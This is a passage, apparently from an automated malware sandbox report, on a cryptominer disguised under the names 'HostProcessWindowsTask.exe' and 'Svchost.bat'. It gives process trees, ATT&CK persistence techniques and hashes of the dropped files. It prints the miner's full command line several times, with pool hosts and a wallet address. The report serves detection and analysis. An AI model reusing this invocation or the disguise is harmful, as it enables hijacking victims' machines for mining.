      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8608
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5388
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2208

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES9224.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9224.tmp
Size 1KB
SHA256 56e013ff0c1c3a6a8e043785912c35e6b36c413c653e405d476c7f2fb61e9421
MD5 e06f4b81410f203259456ee42c537f78
SHA1 303aa9db155ad4c4dbe1a37b15cc4d97a2547757
SHA512 cc24f25f53b448268e788a6f18a12ed6300bb6344ceb2ab8c8cb8eb928f9d7faef64e4dfbf1ec5487139183518f0b3d2284f08a7a448f3e26b4c84ea9c291b08
TLSH
T1EC21AB0593F8471FF07717327AF6532FA279FD65EFA6939A954002292C52204EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

RES9948.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9948.tmp
Size 1KB
SHA256 2c0081f8f42972da51a59d40bf13302223604b030c149f41a996c70f0df3b7a8
MD5 7fdb250b73e0a76172c377ab8916ced9
SHA1 b4a2557b21578b74ec6cce97e29d4ef942060a1a
SHA512 d9bcdef9d03994698d1aceba317e06f2d1ef8b345f4bc5e66ea8c9f2014b20cc7d1de4e1fbde177ec8e7a23d99feab61927d4083098da94db67a97f3895b5f4d
TLSH
T11021020593F9470FF0734B316CFA172B6274FD65DF62935A4540022D2C11304EEA1EB1
MD5 SHA1 SHA512 TLSH

Submit Download

1.98a.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\1.98a.zip
Size 12.2MB
SHA256 99a47bf0da3fda7f3cb6daa2a918010c060213cf2d5a735c351a5a2f92345f16
MD5 0bc0cdc91d0cdcb3cfac925d07baefe4
SHA1 6c152f7747bd004e3834a5f631dc30588f103d5e
SHA512 23655cff35869293062faac5f0ce56a23230902280db6c5f25146bd296593effc823a7e002cdfbcbdb632c19c1ce9e9dd0e52756021fba87adb6d3ece56e079d
SSDEEP 196608:QGYYVZe7Yry1yLPEmcZmzXViybHHYK1KfoyWijgAlKYR2/GUGiJcl8E/K/:557Nry1yLPdxbH4KsPJjgAlRliC8/
TLSH
T189D633B4FBBA7EC67230D2CE009A1EC0EC1331E5B5DDB358798D8A79DB054796A2411E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\_bz2.pyd
Size 84KB
SHA256 b3dd7cea6d03342252834cebcc814af37d850b86d0627fa22b7f6990882f2f8b
MD5 77294e590d14a22d98862c141e7ea4ae
SHA1 88a64817b0699025fcb1dda533355a0b30bd92bf
SHA512 3dac79115a510fd09d384829ff1b45864c2bd20db34459c5ac84ccb65f2befe5d59e13cc232fa23c77232421886a8eefa8d6b5986199e32d2953fee92dad0abd
SSDEEP 1536:HdsvXm8z7+Cnqncm4WlTtdKSzBdIM8vOBs8iMdIsLVuyEJ7Q9bfIgHX:9svXm8zaYqRptX7IvvOC8hdIsLVyY
TLSH
T1B6837D86F36542B6F99BD1F886800793FB30BB950750A3AFF148C2992F13B916E5C219
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\_ctypes.pyd
Size 130KB
SHA256 dfa65498c77e71f038883337d2b5ffd92508489e79e6ee5e96ddec4ecf2a7fa1
MD5 0ac143334e94105facaddc5fb20fc691
SHA1 28cf13be0a0eb84f48c919e68f78852aa4856853
SHA512 00b1a76760b33f054a785be9e4818879121cf5cb60b716d19f2c22c8c58075eea32e626a0962385b18babfaf5d5e33244c09c2e481f99a93577cfeb1647a22e7
SSDEEP 3072:au1mymWLaxMd/w1KVMSf/Fa4IP0JrsFXI/1cswRIsyPyW4IiFx:ac4WLEMWmRf/FaFP2rsFy0zx
TLSH
T161D37D0B775800AAEAA79178C173AF47EBB1B453171187CF02A4C69A2F637D25E3E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\_lzma.pyd
Size 155KB
SHA256 f20be6a9fee8fb5d53170c4bc24a39b48d3c0ccbe8e2000e60ff7d65b77c6ea1
MD5 a0e27c2f376dc80dfc3f884963a0f416
SHA1 f2738a7e6dc65cd9b915a33af354d2f04b768712
SHA512 6e0c50e52e48b29098fa3b7614f190ecc84ab12ed3b376e7e7148f84eceb3101b9ea6972f100b5478059f62d90aded0dff8522440728d0c0904d8c70457f734e
SSDEEP 3072:xqZ/boPLmhrKifqGDRJUs0znfB9mNoTvm28fgS+dIs01xMW4Iiy:xeTgLhyvUsq5YOTCfd+E9
TLSH
T178F35C86B794F0D5F7728C38D6628F57E7F5781A0320929A01CC936D2B1FB659A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\_socket.pyd
Size 84KB
SHA256 127a39d2198f17dd9b573904fe7e4040c7c8718753e6c4edee2ff6c35f487fac
MD5 c19dbee6c084ba12b0a7baa8ea3f8b50
SHA1 9cd0017fbeb1bbc2be40d89006fb73d144a49401
SHA512 5231af5ba642adcda980187744c448400d58f1179ab98974e9f465f8d7de64375635963d67e52fedd0b0900e0682eb3a9d19c93254a9dff2ff4153b07913a1d0
SSDEEP 1536:iVl/fxzeola7SVitdyJwoQlyJ+9+nzCK3Y4KxtS4DTDgRIsywQyEJ7Q9vfIU82c2:iVRdeoo7YoyJwoQlyJs+nzCgtKxB8RIs
TLSH
T132835A01A66050FAEBA3D071C2639E63FB74B5C11394A35F1066C65A1F333C2EF7AA95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\base_library.zip
Size 1.3MB
SHA256 29ec4ef2aa30c7a417fc5d530f410f8ecf05d750ededcbb52cdc6ec30b71ac17
MD5 7d1647e170c3704b9757e4703b9d27d6
SHA1 7fd5e47ddf2964d9501d167e7efa8d7d6ee8e5ad
SHA512 b8842a9b9ee0067fc27e8a5611467d1262546cb9305f65dd8b115eacf2600eb4703d792950f41512e5fd51f4075e44676c717ef45cdd21bb17e5fc282add312a
SSDEEP 12288:ltYzGNcT1bP/qhTY/i7L+DzwdjdTUyCMWfTDwtjbW7WpfuIva80201jwCVRDVoiS:wSeT1bHqHdZm57WpflQ5cPPdxhY5I
TLSH
T19D551992B9527953FF64F37B80B7484CF31E86A2EF00C207355E42661EFE6B09E59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_psutil_windows.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\psutil\_psutil_windows.pyd
Size 67KB
SHA256 4799a73d398b0a73c2720a8cf5881cdc6baade50fff912482dd3b4ec4bd76357
MD5 1c59729ba4583f35c2755d060e78f43a
SHA1 6cc2e1444aa8d899a91e36f6533602e260b84777
SHA512 18206afc5d24f08db255e99bca582949e7789c3ef48761a5a278ac0dc3fcb2e4e77f8f0378e0cf16ad00031bb845d5a6177a36129830df586dce112522d4ce0e
SSDEEP 768:jloNqBwOFjbN+n6Lr8aBXTOxlcnWf+6+e/LoCHfLBF25iA4QaFFVUmeYQ3IqEjJU:RTw6Lr8aczcY+e/LoGLT2L4IEJnnmf
TLSH
T102632985B36500F4D92A913DCEB26A37E2B1B061133693DF0561C64E0F63AE7AA7DF41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python3.DLL

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\python3.DLL
Size 70KB
SHA256 4ae581aa4e65fef9f92c84c428c990892da538b4d9289592df51fa31fd879770
MD5 6ca946631d8011ee1c2813637efe06fe
SHA1 46feb03c544c38d616d9af02ced161f2c44f8296
SHA512 0d35012e1345b7ce99251cc18b949a0790d0ee6ab2149fb530df0707ad6572a220f5321bebe92ace958fc40a21d5183b32cb1d227865165f0f71fe9d472c0f20
SSDEEP 1536:LotssyKcunV8PGRIsy0ZyEJ7Q97yfIW44D9rn:MtssyKxRIsy0u7W4IRn
TLSH
T171633BC25B5BF8A2D6F669FC78DDD9CD242B12CC53258D9FA47893920F1A310A22734D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\python313.dll
Size 5.8MB
SHA256 41ec4fc4e5bc8b207258590238f7f050b13fdfee84c4a7b1ecff6e945d031a10
MD5 cfbfd5ca1d563466687e53a638eed93c
SHA1 63bffe9d62dcc870b1601ae7a04b042df88fa219
SHA512 0eb973271a12ff17dc443ee3289695bb2134d66120690d067b3f67b4b52a5ac2831f326fe85635ef43799b43574e4e1809e20db6ae1d32b5e5f4711cfa12df36
SSDEEP 98304:efqPAKrV+hOhkH0pwgJYt5FO8vUHDMiEJV0KL:DPAC+hOhZaic0A
TLSH
T11F568D12729D50ACD97B8078CA178A4BF7B27C113F60434B61E6BB5D2FB33624A6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\select.pyd
Size 32KB
SHA256 9cc1ef0264060099503592db57ee7d7c1f8d6bea689b2ed125919c7a30b7ab7f
MD5 7a066f58d43c0f3546944d046959ab0d
SHA1 03f2b88e97add974eff48a21454a3e609f943e57
SHA512 199d9f0a2fe47a0b7d25a5c2d6ee74e9507c67c166059985ade8292f4a2741824e91b934e391acad4da8ee187d94b007438a57b63496e91ab2ec7a5da14a0b8c
SSDEEP 768:EpX5KHfOmHzPRIs9GnZyEFqU+Y7N2Ip434bTxf1ml/6dHQzZ:AX5K/OmHzPRIs9GZyEJ7Q9IZfIgHU
TLSH
T110E27DCA6E785043EAA3CA71C5E2DE43F939B3E35611819F30A5C19A1E177C1E33A358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI33882\ucrtbase.dll
Size 1.1MB
SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
MD5 3b337c2d41069b0a1e43e30f891c3813
SHA1 ebee2827b5cb153cbbb51c9718da1549fa80fc5c
SHA512 fdb3012a71221447b35757ed2bdca6ed1f8833b2f81d03aabebd2cd7780a33a9c3d816535d03c5c3edd5aaf11d91156842b380e2a63135e3c7f87193ad211499
SSDEEP 24576:CJG2BrB3ZQAq0AT2jS9HKHdK6AccMs1wmxvSZX0ypFi:0VGrT6SAk3ei
TLSH
T1EC359D64B76C02A9C97BE13DC927554AFA73380147709ACB03E74AB93E2B7E552B7310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_1su0wyta.hzx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1su0wyta.hzx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

nuru2pdq.dll

Path C:\Users\Admin\AppData\Local\Temp\nuru2pdq\nuru2pdq.dll
Size 3KB
SHA256 d946a5ad09281db3455cb149d781a6358e773a7b253b266cfc53f6f0c8bff9e6
MD5 4fa1cafc1cd2345f1e58b29878a9244f
SHA1 da080f358a5f93423231a79b96114bdeebe6c3ae
SHA512 7b22b3c2c4f76be70b710705cf47d0ec287839e0a5b7fea5f89b1ab15023ad1aff14fef05df2cab620987d7ebecb596ac995209e85160385071eb449ac1e3a75
TLSH
T16071DB12E7E94627F0760B786EE3431723B0F9648F63875F29C01159AC603706E71BB5
MD5 SHA1 SHA512 TLSH

Submit Download

zdnufz50.dll

Path C:\Users\Admin\AppData\Local\Temp\zdnufz50\zdnufz50.dll
Size 3KB
SHA256 33ae4fd08c228172a4e7cc2736874f986969a1a1eeca0d460a864f4456c5da37
MD5 bfd54fd31eb2e6499b0b5deb87b78b7a
SHA1 58c519355fb92348f05fcd870759ab6d45cf7ee8
SHA512 dd8bb4411403a436ebdfbcd18bfa0803beaf2f6826766a1c846502520940e174b317b18bc58cfea480b8a90612c52944bb4438d6f320b67c401dee747bde0f2d
TLSH
T1D171DB1293E94667F4770778AEF3831B23B0F9648F63875F2980125DAC503B06E61BB1
MD5 SHA1 SHA512 TLSH

Submit Download

HostProcessWindowsTask.exe

Path C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
Size 11.9MB
SHA256 45d54e54e0bfcae4f983a8c5db88d1e3fed1618b26d4461c76af8027c4ec4616
MD5 7b639ff5291ace6942af1fdf82cffa6a
SHA1 1f50fc7be5d86b6dcc13c724ad3771e645d88b00
SHA512 7df05d3db7f403b8a3b9078bace55fba3a17e651f92673f8b3c95af62e05521f8fa2068b8f7748fd1c1b96611832263d8318e749f34e8bc3261d7e66bd3525e3
SSDEEP 196608:PMcSJV6hip0DCd3w8KVlLrVCgNdNaKZ4NMEk8R24lCy9iPQIm0ccFyaZZ:0BjZp0DCd3uNNdQKQD3R24l9n09v
TLSH
T147C633B4FBBABF45F230D1FA04A91EC0EC1334E185EDA35979CD8A759B005696E3421E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Svchost.bat

Path C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat
Size 1KB
SHA256 2ac8f275c65055873c7a4efaa2fd6bb8c1499738d0e4dc88e94852092e1f90d0
MD5 03bc3ba76b18d515901683117692e4d5
SHA1 48f234f62812a1b68e198d1d6261710031837e98
SHA512 72122d0655990918a01ed0be9ec69d136409a3df219162aa07d52e5cac7f749210a48ac726c706a19e1a6664646baf922eee395efb0db1da88bdfddec46ac1dc
TLSH
T19B21353136D0392717B1C973BD09119667A8D8472D63A7ECF42C434C6A0E8E5D5605CF
MD5 SHA1 SHA512 TLSH

Submit Download

dynamic_power.ps1

Path C:\Users\Admin\AppData\Roaming\Host Task\dynamic_power.ps1
Size 2KB
SHA256 ec43c85890577b118a2571fd4ff4989238ee62e403a594f50de28beba793fcf7
MD5 bba9021435fb5737c98eeba03fe67f52
SHA1 127136e83999bd5c115db4de18a96337613ab972
SHA512 96c0f2138d10322a819d958b75b1fe80f01bfc7c6f54444f4c5597245af876117e450d893f93e2886bb0af29dbf5ab6a2e3951cf33c3a27dfb952b07bb6bc290
TLSH
T135512015794AFB3B01776139B982A468EE36513F16552A003AFC4ACD0F35A15A274FCF
MD5 SHA1 SHA512 TLSH

Submit Download

miner.log

Path C:\Users\Admin\AppData\Roaming\Host Task\miner.log
Size 5KB
SHA256 fafa83c2b1e79ee24f66477f2d173fa82f2966a7ac52090974c16b65382d1e8c
MD5 5e296562ca1b2912bea4f7530d25491c
SHA1 a5953c58082f8cea86341096c8b5b68afec90fa9
SHA512 fe5cc4efe0dc03488b59c6c9fae58c09d2a607ca6f03ed82f1315fa2a650cbc67706ab33e0fc7805a3aff2fc665b30ec41461b1f5a9b988a0c4f9c9d05230ac3
SSDEEP 96:w1XOfdbX2frSAfqlt2xn3DnC+B6VvnlbkGtGAJ+DmiG0:FMSASlt2xn3DnC+B6Vvh9IU30
TLSH
T159B14C1216DD44E76B4E07516139BBAF99A153C3C2047269763CCF888D8CA79FCAE0B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC51CF753BBC24489881B396AA85102ABB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\nuru2pdq\CSC51CF753BBC24489881B396AA85102ABB.TMP
Size 652B
SHA256 41eb27f6b7233ac05518c472535f10478aafc058c3a1152be2b351516d3cc1fd
MD5 d5e583032e30c2e78fbf772e969592a3
SHA1 035d86ee0de355ccc4ca6ef8b6359d98f522feaa
SHA512 7af2d06ea387a7a5270b229c1d7a557f6de874debe88b593bdeea788f6d98c4a0f6b2f03fff4ab2164ccd9443bd7aa46bdb90b0eaf2077d378a805a685a4efbd
TLSH
T1A6F03A09B3F8420EF1F34B30B9F6836391A9BC66DE3293ED158003192C746109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

nuru2pdq.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\nuru2pdq\nuru2pdq.cmdline
Size 369B
SHA256 7bf171282366637f1356f249f75f5f3a6f0bddae4034edb84e552b6f371072f4
MD5 2302255bf8a7ead955dc342d074c8423
SHA1 d3eaa2d917a5ba3e5f24fe87cea8ea333a12fbf2
SHA512 39813ba4968f5dad26646cee4042b7003204ccf0e01a05165ea30da05c40290abffe89c6e8e99d0c7d9f837d049c3a4915a7b365e29620b7d44c3993cbbe56bf
TLSH
T125E0C03F8287C2BD81ED100B256ACCACC2F2478329413F845340880FD4370042FF2751
MD5 SHA1 SHA512 TLSH

Submit Download

CSCED32F968AC9E43CAB1F444E5AB8C9741.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zdnufz50\CSCED32F968AC9E43CAB1F444E5AB8C9741.TMP
Size 652B
SHA256 88a48fb17ef6863850ba7b22a5a0e06c898e05c3e5884a6d95021e23d5597376
MD5 464a36e0ab3e7a5ed2f693b5bb216e8a
SHA1 3c77a33bcb47f2c8f982ae7d1e939fe40c7389aa
SHA512 68c6db798d176eed18bc8bdf732d69a4ac3a2e1402413af252dc2209e99d20aca3204c2293e318f12ffc2d3fb2b7dd46dd0259a7bdc749b84a02e5107db0b5f2
TLSH
T142F0820963F8020EF0F74B34BDF6836391A9BC65DE3293ED2540035E2C646108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

zdnufz50.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zdnufz50\zdnufz50.0.cs
Size 1KB
SHA256 96f25caffd195b7d679e33246e28aa3f24f0cb7d2f623d9751abb4d22c256dea
MD5 1b412331d99b998d4a42765f72d40d15
SHA1 6072a2e35d710d4ed864210376317343f7fe9ae6
SHA512 1bf6d31c54255b7573a105f7dabb370808598ef4f0434cd38d65e36ed1a58bc1d6d1942fd50e41d1c37fc369705de7b84e022155955f49016d0b658df55eefcf
TLSH
T11E1140683041DF635977A234FED29096FB6302375D581905BD8D06A64F31335AA34F57
MD5 SHA1 SHA512 TLSH

Submit Download

zdnufz50.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zdnufz50\zdnufz50.cmdline
Size 369B
SHA256 e60c7cec26213f8cffea1509bf8de29192061b522401c2b9e8a471411220665b
MD5 364172072a4a18e1dc32e35cc3983149
SHA1 2533f3863d6a67a4fa9d3a33e44f2c2488ceb56d
SHA512 0a8ae0561ce0d222678e4d72736b25a3deb445b6cc70c9636d264c646662ea416e6bef5f7f9a7041a11133b7fa50341ad32235570d0e870ccff92d7d4b7dc007
TLSH
T1CFE0DF2A5256C77E16EA204B22BEC5BCC2721B8729837F949152855EE0270076BD27A5
MD5 SHA1 SHA512 TLSH

Submit Download

memory/468-281-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/468-256-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/572-249-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/572-238-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/700-293-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/1292-285-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/1384-250-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/1384-259-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/1468-237-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/1468-244-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/1900-302-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/2080-246-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/2080-255-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/2296-279-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/2296-303-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/2580-306-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/2960-225-0x000001AE76DB0000-0x000001AE76DB8000-memory.dmp

Download

memory/2960-226-0x000001AE76DE0000-0x000001AE76DE6000-memory.dmp

Download

memory/2960-227-0x000001AE76DF0000-0x000001AE76DFA000-memory.dmp

Download

memory/2960-224-0x000001AE76E00000-0x000001AE76E1C000-memory.dmp

Download

memory/2960-223-0x000001AE76DA0000-0x000001AE76DAA000-memory.dmp

Download

memory/2960-220-0x000001AE766A0000-0x000001AE766A8000-memory.dmp

Download

memory/3024-248-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/3184-272-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/3444-242-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/3444-239-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/3780-283-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/3916-257-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/3916-247-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4236-241-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4236-253-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4280-304-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4336-292-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4648-262-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4648-258-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4656-263-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4712-267-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4712-251-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4820-298-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4976-278-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/4976-260-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/5060-245-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/5060-252-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/5116-269-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/5116-254-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/5312-305-0x00007FF6A7A60000-0x00007FF6A8A60000-memory.dmp

Download

memory/5352-122-0x00000200C4200000-0x00000200C42B2000-memory.dmp

Download

memory/5352-92-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

Download

memory/5352-103-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

Download

memory/5352-118-0x00000200ABD60000-0x00000200ABD68000-memory.dmp

Download

memory/5352-97-0x00000200C3E80000-0x00000200C3EA2000-memory.dmp

Download

memory/5352-104-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

Download

memory/5352-98-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

Download

memory/5352-90-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

Download

memory/5352-101-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

Download

memory/5352-99-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

Download

memory/5352-123-0x00000200C3F60000-0x00000200C3F6A000-memory.dmp

Download

memory/5352-93-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

Download

memory/5352-236-0x00007FFD1DE30000-0x00007FFD1E7D4000-memory.dmp

